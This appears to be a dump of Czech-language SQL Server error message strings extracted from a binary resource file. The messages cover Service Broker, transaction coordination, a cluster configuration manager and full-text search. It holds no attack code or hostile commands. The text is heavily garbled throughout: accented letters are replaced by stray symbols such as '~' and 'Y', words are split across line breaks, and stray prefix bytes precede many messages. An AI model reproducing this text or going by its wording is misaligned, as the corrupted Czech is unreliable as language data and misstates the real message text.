 zpr�v slu~by Service Broker nem� dostatek pamti (operace %1!s!). PYenos zpr�vy bude pokra
ovat za %2!s! s.

@Slu~ba Service Broker nemo~e aktualizovat konverzaci pY�kazem conversation_handle %1!s!. Pou~ijte pY�kaz END CONVERSATION &  WITH CLEANUP k odstrann� t�to konverzace a zkuste slu~bu Service Broker povolit znova. Pou~ijte pY�kaz ALTER DATABASE &  SET ERROR_BROKER k ukon
en� vaech konverzac� v t�to datab�zi s chybou. Pou~ijte pY�kaz ALTER DATABASE &  SET NEW_BROKER k odstrann� vaech konverzac� v t�to datab�zi.

Objekt zabezpe
en� datab�ze %1!s! nelze pou~�t k vazb vzd�len� slu~by, proto~e objekt nemo~e vlastnit certifik�ty. Vazby vzd�len�ch slu~eb nelze pYidru~it k 1) rol�m, 2) skupin�m, 3) objektom zabezpe
en�, kter� jsou mapov�ny na certifik�ty nebo asymetrick� kl�
e.

�Aktivovan� �loha byla ukon
ena, proto~e pYidru~en� fronta byla odpojena.

�Aktivovan� �loha byla ukon
ena, proto~e fronta nebo aktivace byla zak�z�na.

�Aktivovan� �loha byla pYeruaena, proto~e vyvolan� ulo~en� procedura %1!s! nevykonala pY�kaz RECIEVE.

�Aktivovan� �loha byla pYeruaena z dovodu chyby (Chyba: %1!s!, stav: %2!s!). Zkontrolujte, zda v protokolu ERRORLOG nebo pYedchoz� ud�losti trasov�n� BROKER:ACTIVATION nen� v�stup z ulo~en� aktiva
n� procedury.

�Objekt zabezpe
en� datab�ze %1!s! nelze pou~�t k vazb vzd�len� slu~by, proto~e objekt nemo~e vlastnit certifik�ty. Jedn� se o zvl�atn�ho u~ivatele pro zptnou kompatibilitu s implicitn pYipojen�mi sch�maty u~ivatele.

hPYi odstraHov�n� odeslan�ch zpr�v z fronty pYenosu doalo k chyb. Chyba: %1!s!, stav: %2!s!. OvYte, zda ~�dn� jin� operace nezamyk� frontu pYenosu a zda je datab�ze dostupn�.

�U~ivatel %1!s!\%2!s! nem� opr�vnn� k ladn� po~adovan�ho pYipojen� klienta.

�Zpracov�n� d�vky bylo ukon
eno na z�klad po~adavku ladic�ho programu.

�Funkce nebo mo~nost %1!s! nen� dostupn�. V�ce informac� o t�to funkci nebo mo~nosti naleznete na webu Knihy online.

�Bhem zpracov�n� chyby doalo k�dala� chyb, kter� zposobila neobnoviteln� selh�n�.

HZadan� ID objektu nen� platn�.

DZadan� ID indexu nen� platn�.

LZadan� 
�slo odd�lu nen� platn�.

�Byl zad�n nespr�vn� po
et kl�
o. Je tYeba zadat alespoH prvn�ch %1!s! kl�
ov�ch sloupco.

XSpr�vce virtualizace dat nebyl nalezen.

�Ve spr�vci spolupr�ce transakc� doalo k chyb %1!s!, stav %2!s!, z�va~nost %3!s!. Spr�vce se vyp�n�. Jedn� se o z�va~nou chybu, kter� mo~e zabr�nit dala�mu zpracov�n� transakc�. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to neo
ek�van� chyby. V z�vislosti na podm�nce chyby mo~e b�t spr�vce spolupr�ce transakc� automaticky restartov�n.

�Transakce byla pYeruaena, proto~e prob�h� vypnut� agenta transakce.

�Spr�vce TCM %1!s! pYijal zpr�vu mimo poYad� z cihly s ID %2!s! a mus� b�t zastaven. V z�vislosti na stavu syst�mu mo~e b�t restartov�n a znovu synchronizov�n automaticky. Obvykl�m pY�padem chybj�c�ch zpr�v jsou do
asn� chyby s�t nebo nedostatek pamti. Zobrazte stara� zpr�vy z protokolu, kter� by mly obsahovat dala� informace.

TFederovanou transakci nelze v tuto chv�li spustit, proto~e agent TCM nen� ve stavu, kter� umo~Huje zah�jen� nov�ch transakc�. Aktu�ln� stav agenta TCM: %1!s!. Nej
astja� pY�
inou je pr�v prob�haj�c� vypnut� syst�mu. Dala� informace by mly b�t k dispozici v pYedchoz�ch zpr�v�ch v protokolu.

�Operace transakce matice nen� povolena, proto~e transakce nepovoluje postup smrem vpYed. Transakce bude vr�cena zpt.

�Transakci matice nelze potvrdit, proto~e �loha byla pYeruaena. �loha byla pYeruaena z dovodu pY�kazu ke zruaen� od klientsk� aplikace nebo z dovodu pYechodu jednoho nebo v�ce �
astn�ko transakce do re~imu offline.

�PYi pY�stupu k metadatom spr�vce spolupr�ce transakc� doalo k�chyb. Parametr AGE %1!s! nelze zachovat.

(Spr�vce TCM pYijal po~adavek na optovnou synchronizaci od cihly s ID %1!s! a bude restartov�n. Obvyklou pY�
inou nutnosti restartov�n� jsou do
asn� chyby s�t nebo stav nedostatku pamti. Dala� informace naleznete v pYedchoz�ch zpr�v�ch v protokolu problematick� cihly.

�V dosledku po~adavku byla provedena operace, kter� je pro vzd�lenou vtev transakce zak�z�na.

�Po~adavek byl pYeruaen kvoli chyb�m komunikace: Byl proveden pokus o pou~it� kan�lu %1!s!.%2!s!.%3!s! v zavYen�m stavu.

�Po~adavek byl zruaen kvoli chyb�m komunikace: Doalo k poruaen� form�tu pY�choz� zpr�vy.

�Po~adavek byl zruaen kvoli chyb�m komunikace: Nebyla nalezena ~�dn� povolen� mapa kan�lu pro komponentu %1!s!.

�Po~adavek byl zruaen kvoli chyb�m komunikace: Novou zpr�vu pro cihlu %1!s! nebylo mo~n� pYidlit. K�d chyby: %2!s!.

�Po~adavek byl zruaen kvoli chyb�m komunikace: Operaci odesl�n� v�kan�lu %1!s! nebylo mo~n� dokon
it. K�d chyby: %2!s!.

�Cihla nemo~e komunikovat se spr�vcem konfigurac� a bude odpojena. Podrobnja� informace naleznete v pYedchoz�ch chyb�ch.

�Doalo k chyb z dovodu zmny konfigurace datab�ze Matrix: Cihla byla vyYazena.

TDispe
er nemohl vytvoYit nov� vl�kno.

�Po~adavek byl zruaen kvoli chyb�m komunikace: Byla zjiatna nekonzistence kan�lu %1!s!: Odes�laj�c� strana nahl�sila %2!s! odeslan�ch bajto, ale z druh� strany nebyla pYijata ~�dn� zpr�va.

4Po~adavek byl zruaen kvoli chyb�m komunikace: Byla zjiatna nekonzistence kan�lu %1!s!: Odes�laj�c� strana nahl�sila %2!s! odeslan�ch bajto s vkem %3!s! (aktu�ln� vk a po
et odeslan�ch bajto je %4!s! a %5!s!), ale pYij�maj�c� strana zpracovala jen %6!s! bajto s vkem %7!s!.

�Vl�kno expedice spr�vce doby platnosti nelze spustit. K�d v�sledku: %1!s!.

�V�komunika
n�m subsyst�mu doalo k�chyb pYi zpracov�n� po~adavku u~ivatele na pYeruaen�. �slo chyby: %1!s!; stav: %2!s!.

<Po~adavek byl zruaen kvoli chyb�m komunikace: Byl proveden pokus o komunikaci s cihlou %1!s!, kter� ji~ nen� v re~imu online nebo byla pYekonfigurov�na.

�Po~adavek byl zruaen kvoli chyb�m komunikace: PY�lia mnoho soub~n�ch operac�.

Po~adavek byl zruaen kvoli chyb�m komunikace: Komunika
n� subsyst�m se pr�v vyp�n� nebo inicializace nebyla dosud dokon
ena.

pPo~adavek byl zruaen kvoli chyb�m komunikace: Kan�l %1!s! pYijal zpr�vu (classId %2!s!, sequenceId %3!s!) s vkem %4!s!, jemu~ vypraela platnost (posledn� pYijateln� vk: %5!s!).

�Po~adavek byl pYeruaen z dovodu chyb v�topologii Fabric: �lohu nelze zaYadit do fronty v�pracovn�m prostoru 0x%1!s!.

pSubsyst�m MCI se nepodaYilo spustit, chyba: %1!s!.

�Subsyst�mu MCI se nepodaYilo spustit kan�l %1!s!, chyba: %2!s!.

�Slu~ba vynucen� zavYen� nemo~e komunikovat se spr�vcem konfigurac� (cihla %1!s!) z dovodu chyb nebo vypraen� 
asov�ho limitu (%2!s! milisekund). Matice nefunguje spr�vn. Je tYeba ji zkontrolovat.

lCihla byla vypnuta na z�klad po~adavku spr�vce.

DOvYov�n� v�bl�zkosti kan�lu

�Po~adavek na zruaen� se nepodaYilo zpracovat z dovodu nedostupnosti prostYedku. Opakov�n� akce...

�Aktiva
n� data pro pracovn� prostYed� se nepodaYilo zpracovat.

�PY�choz� zpr�vu se nepodaYilo zpracovat z dovodu nedostupnosti prostYedku.

0Po~adavek byl zruaen kvoli chyb�m komunikace: Nebyly nalezeny ~�dn� mapy kan�lo verze %1!s! pro komponentu %2!s! umo~Huj�c� vytvoYen� kan�lu %3!s!.

�Po~adavek byl zruaen kvoli chyb�m komunikace: Byla pYijata zpr�va pro neaktivovan� kan�l %1!s!.

�ZaYazen� agenta spr�vce konfigurace se opakovan pokoua� o zaYazen�, proto~e vyYazen� cihly <%1!s!> 
ek� na vyY�zen�.

�ZaYazen� agenta spr�vce konfigurace odes�l� spr�vci zpr�vu se ~�dost� o pYipojen�.

�ZaYazen� agenta spr�vce konfigurace se nepodaYilo pYijmout odpov od spr�vce. Zobrazte pYedchoz� chyby v protokolu chyb.

�ZaYazen� agenta spr�vce konfigurace bylo dokon
eno s v�sledkem %1!s!.

pZaYazen� agenta spr�vce konfigurace bylo zastaveno.

\ZaYazen� agenta spr�vce konfigurace se nezdaYilo kvoli rozd�ln�m verz�m protokolu zaYazen� spr�vce a agenta. Verze pYijat� od spr�vce: <%1!s!>, o
ek�van� verze: <%2!s!>.

�ZaYazen� agenta spr�vce konfigurace se nezdaYilo, proto~e obdr~elo odpov od neplatn�ho spr�vce, ID cihly <%1!s!>.

�ZaYazen� cihly <%1!s!> se spr�vcem konfigurace se nezdaYilo kvoli nesouladu polo~ky %2!s!. Cihla bude ukon
ena.

�V zaYazen� agenta spr�vce konfigurace doalo k chyb %1!s!, stav %2!s!, z�va~nost %3!s!. Spr�vce se vyp�n�. Jedn� se o z�va~nou chybu, kter� br�n� spojen� cihly s matic�. Cihla bude ukon
ena.

�V agentu spr�vce konfigurace doalo k chyb %1!s! (stav %2!s!, z�va~nost %3!s!) pYi aktualizaci inkarnace cihly <%4!s!> do stavu %5!s!. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to chyby.

tV agentu spr�vce konfigurace doalo k chyb %1!s! (stav %2!s!, z�va~nost %3!s!) pYi aktualizaci informac� o stavu. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to chyby.

�V�konfigura
n�m souboru bylo nalezeno duplicitn� ID cihly <%1!s!>.

Agent spr�vce konfigurace nemo~e odeslat ozn�menou chybu spr�vci konfigurace kvoli chyb %1!s!, stav %2!s!, z�va~nost %3!s!.

XNebyl zad�n ~�dn� konfigura
n� soubor.

�Ve vl�knu agenta spr�vce konfigurace doalo k z�va~n� v�jimce (chyba: %1!s! z�va~nost: %2!s! stav: %3!s!). Jedn� se o z�va~nou chybu. Cihla bude ukon
ena. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to z�va~n� chyby.

(Inicializace agenta spr�vce konfigurace se nezdaYila. Zobrazte pYedchoz� chyby v protokolu chyb. Jedn� se o z�va~nou chybu. Cihla bude ukon
ena

lAktivace agenta spr�vce konfigurace se nezdaYila.

|Agent spr�vce konfigurace nemo~e potvrdit novou soupisku.

lSoupiska agenta spr�vce konfigurace je poakozena.

xAgent spr�vce konfigurace nepYijal mapu kan�lu vypnut�.

�Agent spr�vce konfigurace nemo~e prov�st ozn�men� o vypnut� cihly.

�Agent spr�vce konfigurace nemo~e prov�st ozn�men� o zapnut� cihly.

�Agent spr�vce konfigurace provedl pokus o spuatn� neexistuj�c�ho agenta %1!s!.

�Agenta spr�vce konfigurace se nepodaYilo spustit (um�stn�: %1!s!).

pAgenta spr�vce konfigurace se nepodaYilo zastavit.

�Agent spr�vce konfigurace nemo~e odstranit zastaral� relace MCI.

�PYi 
ten� konfigura
n�ho souboru doalo k chyb. (Dovod: %1!s!).

�PYi 
ten� konfigura
n�ho souboru doalo k chyb. Sloupec %1!s! nebyl definov�n.

�PYi 
ten� konfigura
n�ho souboru doalo k chyb. N�zev hostitele nebo instance nesm� b�t pr�zdn� (dovod: %1!s!).

�PYi 
ten� konfigura
n�ho souboru doalo k chyb. Neplatn� obsah. (Dovod: %1!s!).

�PYi 
ten� konfigura
n�ho souboru sch�matu matrix.xsd doalo k�chyb. (Dovod: %1!s!).

�PYi 
ten� konfigura
n�ho souboru doalo k chyb. (X�dek: %1!s!, sloupec: %2!s!, dovod: %3!s!).

�PYi 
ten� konfigura
n�ho souboru doalo k chyb. Neplatn� ID um�stn� cihly.

�PYi kontrole konfigurace doalo k�chyb (funkce: %1!s!, v�sledek: 0x%2!s!).

pAgent spr�vce konfigurace nemo~e ukl�dat metadata.

�Soupisku nelze aktualizovat, ID cihly %1!s! nen� sou
�st� soupisky.

xSpr�vce konfigurace nemo~e inicializovat agenta %1!s!.

hAgent matice %1!s! je v neplatn�m stavu %2!s!.

PPYipom�nku soupisky nelze vytvoYit.

|PYi kop�rov�n� konfigurace doalo k chyb. (Dovod: %1!s!).

lNelze potvrdit zmnu metadat pro ID cihly %1!s!.

xChyba: Uzel <%1!s!> konfigura
n�ho souboru nelze 
�st.

�Chyba: Konfigura
n� soubor je neplatn�, nebyly zad�ny ~�dn� cihly.

�Chyba: Byla zad�na neplatn� hodnota pro n�zev spr�vce %1!s!.

�Chyba: Byla zad�na neplatn� hodnota pro roli spr�vce %1!s!.

�Chyba: Nelze vytvoYit objekt DOM pro z�pis konfigura
n�ho souboru XML (dovod: %1!s!).

�Chyba: Metadata matice nelze aktualizovat (um�stn�: %1!s!).

PChyba: N�zev hostitele nelze ur
it.

�Agent spr�vce konfigurace nemo~e vytvoYit vydavatele ozn�men�.

�Agent spr�vce konfigurace nemo~e vytvoYit slu~bu ozn�men�.

�Cihla nen� spr�vn nakonfigurov�na, konfigura
n� soubor je poakozen�.

$Agent spr�vce konfigurace ignoruje zastaralou zpr�vu z cihly spr�vce %1!s! kvoli nesouladu v polo~ce %2!s!. O
ek�v�no: %3!s!, pYijato: %4!s!.

xAgent spr�vce konfigurace prov�d� operaci %1!s! %2!s!.

�Agent spr�vce konfigurace nemo~e prov�st operaci %1!s! %2!s!. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to chyby. Jedn� se o z�va~nou chybu ovlivHuj�c� funkci syst�mu. Cihla bude ukon
ena.

TAgent spr�vce konfigurace nemo~e prov�st operaci %1!s! %2!s! kvoli neplatn�mu stavu %3!s!. Jedn� se o z�va~nou chybu ovlivHuj�c� funkci syst�mu. Cihla bude ukon
ena.

�PYi zapisov�n� do souboru stavu simul�toru cihly doalo k chyb. (Dovod: %1!s!).

$Jestli~e se chcete pYipojit k tomuto serveru, je tYeba pou~�t aplikaci SQL Server Management Studio nebo SQL Server Management Objects (SMO).

DNeplatn� kombinace parametro.

TByla zad�na nezn�m� vlastnost: %1!s!.

�Agent TCMA se vyp�n� kvoli z�va~n� chyb %1!s!, stav %2!s!, z�va~nost %3!s!.

8Chyba v ozn�men� kan�lu

8Chyba v povolen� kan�lu

�ZaYazen� spr�vce konfigurace nemo~e u komunika
n� slu~by inicializovat pY�jem po~adavko na zaYazen�.

<ZaYazen� spr�vce konfigurace ignoruje zpr�vu z cihly <%1!s!>. Doalo k nesouladu verz� protokolu zaYazen�. Verze agenta: <%2!s!>, verze spr�vce: <%3!s!>.

�ZaYazen� spr�vce konfigurace odepYelo pYipojen� cihly <%1!s!>.

<ZaYazen� spr�vce konfigurace odepYelo pYipojen� cihly <%1!s!>. V�choz� kolace serveru nejsou v souladu. Kolace agenta: <%2!s!>, kolace spr�vce: <%3!s!>.

HZaYazen� spr�vce konfigurace odepYelo pYipojen� cihly <%1!s!>. Verze SQL nebo 
�slo sestaven� nejsou v souladu. Verze agenta: <%2!s!>, verze spr�vce: <%3!s!>.

�ZaYazen� spr�vce konfigurace ignoruje zpr�vy z cihly <%1!s!>, proto~e tato fronta zpr�v neexistuje.

ZaYazen� spr�vce konfigurace ignoruje zastaralou zpr�vu z cihly %1!s! kvoli nesouladu v polo~ce %2!s!. O
ek�v�no: %3!s!, pYijato: %4!s!.

tNelze potvrdit zmnu metadat %1!s! cihly s ID %2!s!.

�V zaYazen� spr�vce konfigurace doalo k chyb %1!s!, stav %2!s!, z�va~nost %3!s!. Spr�vce se vyp�n�. Jedn� se o z�va~nou chybu, kter� zabr�n� dala�mu zaYazen� i pYipojen� cihel k matici. Cihla bude restartov�na.

�V zaYazen� spr�vce konfigurace doalo k chyb %1!s! (stav %2!s!, z�va~nost %3!s!) pYi odesl�n� odpovdi zaYazen� do cihly <%4!s!>. Odpov zaYazen� nebyla odesl�na. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to chyby.

�ZaYazen� spr�vce konfigurace ignoruje po~adavek z neplatn�ho ID cihly <%1!s!>.

�V zaYazen� spr�vce konfigurace doalo k chyb %1!s! (stav %2!s!, z�va~nost %3!s!) pYi aktualizaci inkarnace cihly <%4!s!> do stavu %5!s!. Po~adavek na zaYazen� z cihly nen� zpracov�n. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to chyby.

�ZaYazen� spr�vce konfigurace neobdr~elo zpr�vy o zaYazen�.

�ZaYazen� spr�vce konfigurace nem� dostatek pamti. Zpr�vy o zaYazen� byly ignorov�ny.

`VytvoYen� vl�kna se nezdaYilo. (RC: %1!s!).

pNelze vytvoYit vl�kno zaYazen� spr�vce konfigurace.

�Ve vl�knu spr�vce konfigurace doalo k z�va~n� v�jimce (chyba: %1!s! stav: %2!s! z�va~nost: %3!s!). Jedn� se o z�va~nou chybu. Cihla bude ukon
ena. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to z�va~n� chyby.

�Inicializace spr�vce konfigurace se nezdaYila. (Dovod: %1!s!).

�Spr�vce konfigurace nemo~e vytvoYit slu~bu distribuce kan�lo.

�Spr�vce konfigurace nemo~e vytvoYit slu~bu vynucen� zavYen�.

�Spr�vce konfigurace nemo~e vytvoYit slu~bu vypraen� platnosti.

xOpakovan� konfigurace spr�vce konfigurace se nezdaYila.

hInicializace spr�vce konfigurace se nezdaYila.

`Aktivace spr�vce konfigurace se nezdaYila.

�Operace uveden� spr�vce konfigurace do ne
innosti se nezdaYila.

pOperace uvolnn� spr�vce konfigurace se nezdaYila.

xSpr�vce konfigurace nemo~e uv�st agenty do ne
innosti.

�Opakovan� konfigurace spr�vce konfigurace se nezdaYila kvoli chyb %1!s!, stav %2!s!, z�va~nost %3!s!.

�Inicializace popisova
e chyb spr�vce konfigurace se nezdaYila kvoli chyb %1!s!, stav %2!s!, z�va~nost %3!s!. Jedn� se o z�va~nou chybu. Cihla bude ukon
ena. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to z�va~n� chyby.

tVys�l�n� vypnut� kan�lu spr�vce konfigurace selhalo.

Spr�vce konfigurace nemo~e prov�st akci %1!s! na jin�ch cihl�ch v matici z dovodu chyby %2!s!, stav %3!s!, z�va~nost %4!s!.

dSpr�vce konfigurace nemo~e vytvoYit ozn�men�.

�Spr�vce konfigurace nemo~e vytvoYit ud�lost vypnut� cihly pro neregistrovanou cihlu <%1!s!>.

�Spr�vce konfigurace nemo~e prov�st distribuci kan�lo (dovod: %1!s!, um�stn�: %2!s!).

dSpr�vce konfigurace nemo~e aktivovat agenty.

�Spr�vce konfigurace nemo~e odeslat ud�lost opakovan� konfigurace.

�Spr�vce konfigurace nemo~e vyYadit star� mapy kan�lo (um�stn�: %1!s!).

�Spr�vce konfigurace nemo~e vypnout star� mapy kan�lo (um�stn�: %1!s!).

�Spr�vce konfigurace nemo~e vynech�van�m cihl�m doru
it sign�l ACK pro vypnut�.

lSpr�vce konfigurace nemo~e nastavit stav matice.

lSpr�vce konfigurace zjistil neplatn� stav matice.

�Spr�vce konfigurace mo~e vylou
it pouze cihly ze spravuj�c� cihly.

�Spr�vce konfigurace mo~e vynucen zavY�t pouze cihly ze spravuj�c� cihly.

�Ozn�men� o vypnut� cihly spr�vce konfigurace se nezdaYilo.

�Ozn�men� o nov� konfiguraci spr�vce konfigurace se nezdaYilo.

�Povolen� nov� konfigurace spr�vce konfigurace se nezdaYilo.

�Spr�vce konfigurace provedl novou konfiguraci beze zmny 
lenstv�.

�Odlo~en� nov� konfigurace spr�vce konfigurace se nezdaYilo.

�Spr�vce konfigurace nemo~e spustit neregistrovan�ho spr�vce %1!s!.

lZaYazen� spr�vce konfigurace odepYelo pYipojen� cihly <%1!s!>. Architektury po
�ta
o se neshoduj�. Architektura po
�ta
e agenta: <%2!s!>, architektura po
�ta
e spr�vce: %3!s!>.

�Chyba: Nelze zv�ait hlavn� verzi spr�vce konfigurace (um�stn�: %1!s!).

Komponenta %1!s! ohl�sila, ~e komponenta %2!s! z cihly %3!s! je v�podezYel�m stavu z dovodu chyby: %4!s!, z�va~nost: %5!s!, stav: %6!s!, popis: %7!s!. Dala� poskytnut� popis: %8!s!. Tato zpr�va bude odesl�na zn�m�mu spr�vci konfigurace v cihle %9!s!.

�Komponenta %1!s! z cihly %2!s! ohl�sila, ~e komponenta %3!s! z cihly %4!s! je v podezYel�m stavu z dovodu chyby: %5!s!, z�va~nost: %6!s!, stav: %7!s!, popis: %8!s!. Dala� poskytnut� popis: %9!s!.

Zpr�va o vypnut� cihly pro cihlu %1!s! byla zaYazena do fronty z�dovodu z�va~n� chyby ohl�aen� pro komponentu %2!s! komponentou %3!s! v cihle %4!s!. K�d ohl�aen� z�va~n� chyby: %5!s!, z�va~nost: %6!s!, stav: %7!s!, popis: %8!s!. Dala� poskytnut� popis: %9!s!.

(ZaYazen� spr�vce konfigurace zaYadilo do fronty chybn� po~adavek na cihlu <%1!s!> z dovodu pYijet� nov�ho po~adavku na zaYazen� od t�to cihly.

HSpr�vce konfigurace vylu
uje cihlu <%1!s!>, od kter� bhem komunikace nepYijal o
ek�vanou odpov. To zahrnuje tak� cihly, kter� neodpov�daj� v 
asov�m limitu.

�Spr�vci konfigurace se nepodaYilo z hlavn� datab�ze na
�st metadata nutn� k jeho provozu.

�Spr�vce konfigurace prov�d� operaci %1!s! %2!s! na vaech online cihl�ch.

�Spr�vce konfigurace prov�d� operaci %1!s! %2!s! na cihle <%3!s!>.

�Spr�vce konfigurace nemo~e prov�st operaci %1!s! %2!s!. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to chyby. Jedn� se o z�va~nou chybu ovlivHuj�c� funkci syst�mu. Cihla <%3!s!> bude vylou
ena.

Spr�vce konfigurace nemo~e inicializovat objekt komunikace. Vyhledejte zpr�vy zaznamenan� dY�ve a zjistte pY�
inu t�to chyby.

�Spr�vci konfigurace se nepodaYilo prov�st z�pis do offline konfigura
n�ho souboru rozhran� WMI. (Dovod: %1!s!).

|ZaYazen� spr�vce konfigurace odepYelo pYipojen� cihly <%1!s!>. Podporovan� po
et cihel se neshoduje. Po
et cihel podporovan� agentem: <%2!s!>, po
et cihel podporovan� spr�vcem: <%3!s!>.

hN�zev konfigura
n�ho souboru %1!s! je neplatn�.

lKonfigura
n� soubor %1!s! se nepodaYilo otevY�t.

TKonfigura
n� soubor %1!s! je pr�zdn�.

XKonfigura
n� soubor %1!s! je poakozen.

LKonfiguraci cihly nelze vytvoYit.

\Vlastnost konfigurace %1!s! je poakozen�.

�N�zev konfigura
n�ho souboru nelze vytvoYit. (Dovod: %1!s!).

\Vlastnost soupisky %1!s! nelze nastavit.

�M�stn� ID cihly <%1!s!> neodpov�d� ID cihly <%2!s!> v datab�zi prostYedko.

�ID cihly nebylo nastaveno. (N�zev zdrojov� instance: %1!s!)

�PYi pYipojov�n� ke Spr�vci Y�zen� slu~eb v�po
�ta
i %1!s! doalo k chyb.  Vr�cen� chyba: %2!s!   %3!s!.

�PYi prov�dn� operace slu~by na slu~b %1!s! v po
�ta
i %2!s! doalo k�chyb.  Vr�cen� chyba: %3!s!   %4!s!.

�Slu~bu %1!s! v�po
�ta
i %2!s! se nepodaYilo spustit v
as. K�d chyby specifick� pro slu~bu: %3!s!.

�U~ivatel opera
n�ho syst�mu nem� po~adovan� opr�vnn� ke spuatn� vzd�len� slu~by v cihle %1!s!.

�N�zev cesty k�souboru matrix.xsd nelze vytvoYit. (Dovod: %1!s!).

lKomunikace zahrnuj�c� spr�vce a agenta konfigurace ignoruje zastaralou zpr�vu od cihly <%1!s!> pro cihlu <%2!s!> z dovodu neshody hodnot %3!s!. O
ek�v�no: %4!s!, pYijato: %5!s!.

TKomunikaci zahrnuj�c� spr�vce a agenta konfigurace se nepodaYilo odeslat zpr�vu od cihly <%1!s!> pro cihlu <%2!s!> z dovodu chyby %3!s!, stav %4!s!, z�va~nost %5!s!.

�Komunikace zahrnuj�c� spr�vce a agenta konfigurace nepYijala platnou odpov od cihly <%1!s!>.

�Komunikaci zahrnuj�c� spr�vce a agenta konfigurace nelze inicializovat z dovodu chyby %1!s!, stav %2!s!, z�va~nost %3!s!.

�Komunikace zahrnuj�c� spr�vce a agenta konfigurace pYijala neplatnou odpov <0x%1!s!> od cihly <%2!s!>.

�V��loze synchronn�ho z�pisu doalo k�chyb z�dovodu nekonzistentn�ho stavu modulu PRISM.

�Operace modulu PRISM se nezdaYila z dovodu chyby s k�dem %1!s!.

\�loha synchronn�ho z�pisu byla pYeruaena.

dAgent spr�vce virtualizace dat nebyl nalezen.

�Prob�h� vynucen� zavYen� kan�lu spr�vcem slu~eb k zotaven� po chyb�ch.

�ID datab�ze %1!s! nelze otevY�t pomoc� fulltextov�ho zobrazen� nebo funkce STVF.

�Fulltextov� syst�mov� zobrazen� nebo funkce STVF nemo~e otevY�t ID objektu u~ivatelsk� datab�ze %1!s!.

�N�zev zadan� pro fragment fulltextov�ho indexu %1!s! nen� platn�.

Fulltextov� syst�mov� zobrazen� nebo funkce STVF nemo~e otevY�t fulltextov� index pro ID objektu u~ivatelsk� tabulky %1!s!.

dHodnoty parametro dm_fts_index_keywords, dm_fts_index_keywords_by_document, dm_fts_index_keywords_by_property a dm_fts_index_keywords_position_by_document nemohou b�t null.

�PYi vol�n� funkce TVF pro pY�stup k fulltextov�mu indexu doalo k intern� chyb. �slo �rovn zadan� pro funkci TVF nen� platn�. Platn� 
�sla �rovn� za
�naj� od 0 a mus� b�t mena� ne~ po
et �rovn� komprimovan�ho indexu.

Datov� typ argumentu %1!s! zadan� pro fulltextov� dotaz nen� platn�. Platn� datov� typy jsou char, varchar, nchar a nvarchar.

tParametr fulltextov�ho dotazu pro %1!s! nen� platn�.

�Fulltextov� seznam stopslov %1!s! neexistuje nebo aktu�ln� u~ivatel nem� k proveden� t�to akce opr�vnn�. OvYte, zda je zad�n spr�vn� n�zev seznamu stopslov a zda m� u~ivatel opr�vnn� po~adovan� pY�kazem Transact-SQL.

xFulltextov� seznam stopslov %1!s! ji~ v aktu�ln� datab�zi existuje. Duplicitn� n�zvy seznamo stopslov nejsou povoleny. Spusete pY�kaz znovu a zadejte jedine
n� n�zev seznamu stopslov.

�Seznam vlastnost� vyhled�v�n� %1!s! neexistuje nebo nem�te opr�vnn� k proveden� t�to akce. OvYte, zda je zad�n spr�vn� n�zev seznamu vlastnost� vyhled�v�n� a zda m�te opr�vnn� po~adovan� pY�kazem Transact-SQL. Pro v�pis seznamo vlastnost� vyhled�v�n� v aktu�ln� datab�zi pou~ijte zobrazen� katalogu sys.registered_search_property_lists. V�ce informac� o opr�vnn�ch po~adovan�ch pY�kazem Transact-SQL naleznete v referen
n�m t�matu pY�kazu Transact-SQL na webu Knihy online pro SQL Server.

�Seznam vlastnost� vyhled�v�n� %1!s! ji~ v aktu�ln� datab�zi existuje. Duplicitn� n�zvy seznamu vlastnost� vyhled�v�n� nejsou povoleny. Spusete pY�kaz znovu a zadejte jedine
n� n�zev seznamu vlastnost� vyhled�v�n�. Chcete-li zobrazit seznam seznamo vlastnost� vyhled�v�n� v aktu�ln� datab�zi, pou~ijte zobrazen� katalogu sys.registered_search_property_lists.

\Rozhran� kan�lu pro objekt %1!s! se nepodaYilo z�skat. V�sledkem je chyba: 0x%2!s!. Doalo k pot�~�m v komunikaci s hostitelsk�m Yadi
em nebo s hostitelem d�mona filtru.

�Fulltextov� hostitelsk� Yadi
 se nezdaYilo spustit. Chyba: 0x%1!s!.

�Vlastnost vyhled�v�n� %1!s! neexistuje nebo nem�te opr�vnn� k proveden� t�to akce. OvYte, zda je zadan� spr�vn� vlastnost vyhled�v�n� a zda m�te opr�vnn� po~adovan� pY�kazem Transact-SQL. Chcete-li zobrazit seznam vlastnost� vyhled�v�n� v aktu�ln� datab�zi, pou~ijte zobrazen� katalogu sys.registered_search_properties. V�ce informac� o opr�vnn�ch po~adovan�ch pY�kazem Transact-SQL naleznete v referen
n�m t�matu pY�kazu Transact-SQL na webu Knihy online pro SQL Server.

�Fulltextov� hlavn� slou
en� se ve fulltextov�m katalogu %1!s! v datab�zi %2!s! nezdaYilo s chybou 0x%3!s!.

hSeznam stop slov %1!s! neobsahuje fulltextov� stopslovo %2!s! s ID n�rodn�ho prostYed� %3!s!. V pY�kazu Transact-SQL zadejte platn� stopslovo a ID n�rodn�ho prostYed� (LCID).

pSeznam stopslov %1!s! ji~ obsahuje fulltextov� stopslovo %2!s! s ID n�rodn�ho prostYed� %3!s!. V pY�kazu Transact-SQL zadejte jedine
n� stopslovo a ID n�rodn�ho prostYed� (LCID).

hFulltextov� seznam stopslov %1!s! nelze vyYadit, proto~e je pou~�v�n nejm�n jedn�m fulltextov�m indexem. Chcete-li identifikovat fulltextov� index, kter� pou~�v� seznam stopslov: Z�skejte ID seznamu stopslov ze sloupce stoplist_id zobrazen� katalogu sys.fulltext_indexes a pot� vyhledejte ID seznamu stopslov ve sloupci stoplist_id zobrazen� katalogu sys.fulltext_stoplists. VyYate fulltextov� index pou~it�m pY�kazu DROP FULLTEXT INDEX nebo zmHte nastaven� seznamo stopslov pou~it�m pY�kazu ALTER FULLTEXT INDEX. Pot� zkuste seznam stopslov vyYadit znovu.

